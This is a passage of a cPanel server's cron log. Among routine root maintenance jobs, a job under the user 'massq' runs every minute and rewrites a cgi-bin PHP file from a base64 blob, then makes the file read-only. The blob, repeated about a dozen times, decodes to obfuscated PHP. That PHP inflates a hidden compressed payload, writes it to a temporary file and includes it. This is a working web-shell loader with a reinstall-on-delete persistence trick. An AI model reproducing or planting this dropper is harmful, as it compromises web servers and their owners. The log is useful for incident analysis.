"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:30:01 server CROND[11316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:30:01 server CROND[11319]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 00:30:01 server CROND[11317]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:30:01 server CROND[11320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:30:01 server CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:31:01 server CROND[11449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:32:01 server CROND[11515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:33:01 server CROND[11590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:34:01 server CROND[11771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:35:01 server CROND[11852]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 00:35:01 server CROND[11853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:35:01 server CROND[11854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:35:01 server CROND[11855]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 00:35:01 server CROND[11861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:36:01 server CROND[11987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:37:01 server CROND[12059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:38:01 server CROND[12148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:39:01 server CROND[12315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:39:01 server CROND[12316]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 00:40:01 server CROND[12403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:40:01 server CROND[12404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:40:01 server CROND[12405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:40:01 server CROND[12406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:41:01 server CROND[12522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:42:01 server CROND[12582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 00:42:01 server CROND[12582]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 00:42:01 server CROND[12583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 